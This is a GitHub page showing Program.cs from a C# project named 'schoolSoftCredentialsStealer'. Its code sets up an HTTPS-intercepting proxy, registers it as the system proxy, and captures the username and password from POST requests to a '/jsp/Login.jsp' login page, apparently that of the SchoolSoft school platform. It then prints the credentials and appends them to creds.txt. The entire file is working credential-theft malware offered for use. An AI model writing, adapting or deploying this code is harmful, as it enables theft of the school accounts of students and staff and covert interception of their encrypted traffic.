-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathProgram.cs
More file actions
38 lines (35 loc) · 1.35 KB
/
Program.cs
File metadata and controls
38 lines (35 loc) · 1.35 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
using System;
using System.IO;
using System.Threading.Tasks;
using System.Net;
using Titanium.Web.Proxy;
using Titanium.Web.Proxy.EventArguments;
using Titanium.Web.Proxy.Models;
namespace schoolSoftCredentialsStealer
{
class Program
{
static void Main()
{
using (ProxyServer ps = new ProxyServer(true, true, true))
{
ps.BeforeRequest += OnRequest;
var explicitEndPoint = new ExplicitProxyEndPoint(IPAddress.Any, 8000, true);
ps.AddEndPoint(explicitEndPoint);
ps.Start();
ps.SetAsSystemHttpsProxy(explicitEndPoint);
Console.ReadLine();
}
}
public static async Task OnRequest(object sender, SessionEventArgs e)
{
if (e.HttpClient.Request.Method.ToUpper() == "POST" && e.HttpClient.Request.RequestUri.AbsoluteUri.Contains("/jsp/Login.jsp"))
{
string bodyString = await e.GetRequestBodyAsString();
string readableCreds = "Username: " + bodyString.Split('&')[2].Split('=')[1] + "\n" + "Password: " + bodyString.Split('&')[3].Split('=')[1] + "\n";
Console.WriteLine(readableCreds);
File.AppendAllText("creds.txt", readableCreds);
}
}
}
}